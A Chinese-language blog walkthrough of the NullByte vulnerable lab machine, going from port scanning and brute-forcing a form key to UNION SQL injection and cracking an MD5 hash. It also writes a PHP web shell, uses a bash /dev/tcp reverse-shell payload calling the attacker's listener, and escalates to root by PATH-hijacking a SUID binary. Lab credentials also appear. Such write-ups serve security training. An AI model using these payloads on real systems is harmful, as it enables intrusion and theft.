李乐意的博客

tags:
@ 01/01/0001

端口扫描

服务探测

80端口下进有一张图片。查看图片详细信息。

wget http://192.168.30.136/main.gif
exiftool main.gif


File Name                       : main.gif                                                              09:06:12 [3/306]
Directory                       : .                                                                                     
File Size                       : 17 kB                                                                                 
File Modification Date/Time     : 2015:08:01 12:39:30-04:00                                                             
File Access Date/Time           : 2025:09:17 08:57:37-04:00
File Inode Change Date/Time     : 2025:09:17 08:55:21-04:00
File Permissions                : -rw-r--r--
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw  #是什么凭据吗?尝试一下base64
Image Size                      : 235x302
Megapixels                      : 0.071
echo "kzMb5nVYJw" | base64 -d
3X' #看起来不太像

目录爆破

gobuster dir -u http://192.168.30.136 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o buster/dir
/uploads              (Status: 301) [Size: 318] [--> http://192.168.30.136/uploads/]
/javascript           (Status: 301) [Size: 321] [--> http://192.168.30.136/javascript/]
/phpmyadmin           (Status: 301) [Size: 321] [--> http://192.168.30.136/phpmyadmin/]

爆破出三个目录。

探测一下。

image-20250917211053859

image-20250918153317695

并没有什么信息。

搜了一下,说kzMb5nVYJw是个目录那看一下吧。

http://192.168.30.136/kzMb5nVYJw/index.php

果然image-20250918153420116

尝试一下,发现是post方法提交key参数。

暴力破解

hydra 192.168.30.136 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l woleyi -P /usr/share/wordlists/rockyou.txt

破解出:

[80][http-post-form] host: 192.168.30.136   login: woleyi   password: elite # n. 权力集团,上层人士;尖子,精英 adj. 出类拔萃的,精锐的

SQL 注入

手工联合注入

进来后是个简单的搜索栏。空值显示所有列表。

image-20250918154537050

尝试sql注入。

'
" # 提升语法错误,尝试报错注入
' and 1=1
' and 1=2
" order by 3 --+ 
" union select 'a','b','c'--+ 
" union select 1,2,table_name from information_schema.tables where table_schema=database()--+
# 查出一个users表
" union select 1,2,column_name from information_schema.columns where table_name='users'--+
# 字段为 id user pass position
" union select user,pass,position from users--+

查出一组账号密码 ramses:YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE

可以看到密码应该是base64加密了。解码出c6d6bd7ebf806f43c76acc3681703b81,看起来像MD5加密。

hashid c6d6bd7ebf806f43c76acc3681703b81
# 或
hash-identifier

使用hashcat或john解码

echo c6d6bd7ebf806f43c76acc3681703b81>hash.txt
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
omega            (?) 

SQL注入一句话木马

我们已经知道了上传文件目录。是否有写入权限未知不过可以尝试。

" union select "<?php system($_GET['a']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php"--+

调用。

http://192.168.30.136/uploads/shell.php?a=cat+/etc/passwd

或者蚁剑登录也可以。

SQL注入反弹shell

" union "<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.30.131/4444 0>&1'"); ?>", 2, 3 into outfile "/var/www/html/uploads/resever.php"--+

开启kali端口监听。

rlwrap nc -lvnp 4444

这里被我的火绒拦截了。

Sqlmap

sqlmap -u "http://192.168.30.136/kzMb5nVYJw/420search.php?usrtosearch=a" --dump

或者使用–os-shell脚本。

sqlmap  -u "http://192.168.30.136/kzMb5nVYJw/420search.php?usrtosearch=a" --os-shell

image-20250918164713918

image-20250918164752474

image-20250918164853153

这就是使用–os-shell传入的两个脚本文件,一个用于上传文件,一个用于执行文件。

ssh登录

记得端口扫描时,777端口的才是ssh服务。因此要指定端口。

ssh ramses@192.168.30.136 -p 777
ramses@NullByte:~$ whoami;id;uname -a;ip a
ramses
uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)
Linux NullByte 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt11-1+deb8u2 (2015-07-17) i686 GNU/Linux
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:b6:6a:c3 brd ff:ff:ff:ff:ff:ff
    inet 192.168.30.136/24 brd 192.168.30.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:feb6:6ac3/64 scope link 
       valid_lft forever preferred_lft forever

信息收集

/var/www/html/kzMb5nVYJw下面的420search.php。

$dbhost = 'localhost:3036';
$dbuser = 'root';
$dbpass = 'sunnyvale';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);

这个就是phpmyadmin的登录账号。

sudo -l
find / -perm -u=s -type f 2>/dev/null
ramses@NullByte:/var/www/html/kzMb5nVYJw$ sudo -l
[sudo] password for ramses: 
Sorry, user ramses may not run sudo on NullByte.
ramses@NullByte:/var/www/html/kzMb5nVYJw$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/procmail
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/sbin/exim4
/var/www/backup/procwatch
/bin/su
/bin/mount
/bin/umount
/sbin/mount.nfs

可以看到/var/www/backup/procwatch,应该是个进程监控工具。

清理痕迹发现。也出现了./procwatch。

ramses@NullByte:/var/www/html/kzMb5nVYJw$ cat ~/.bash_history
sudo -s
su eric
exit
ls
clear
cd /var/www
cd backup/
ls
./procwatch 
clear
sudo -s
cd /
ls
exit
whoami;id;uname -a;ifconfig
whoami;id;uname -a;ip a
pwd
ls -liah
exit

运行一下。

ramses@NullByte:/var/www/backup$ ./procwatch 
  PID TTY          TIME CMD
20011 pts/0    00:00:00 procwatch
20012 pts/0    00:00:00 sh
20013 pts/0    00:00:00 ps

看来这个进程调用了sh和ps命令。这个可以提权。

首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:

ln -s /bin/sh ps

将当前目录添加到环境变量。

export PATH=.:$PATH
echo &PATH

在环境变量的路径越靠前,执行命令时寻找的目录的优先级就越高。也就是说,在我们将当前目录追加到环境变量的最开始位置之后,如果系统运行ps命令(即运行procwatch),会首先在当前目录寻找是否有名为ps的文件,又由于我们在这里添加了软连接,当前目录是存在名为ps的文件的,该文件是个指向sh的软连接,因此可以在当前目录执行ps命令,实际执行的是启动sh。

./procwatch

image-20250918170629678

提权成功。

image-20250918170754457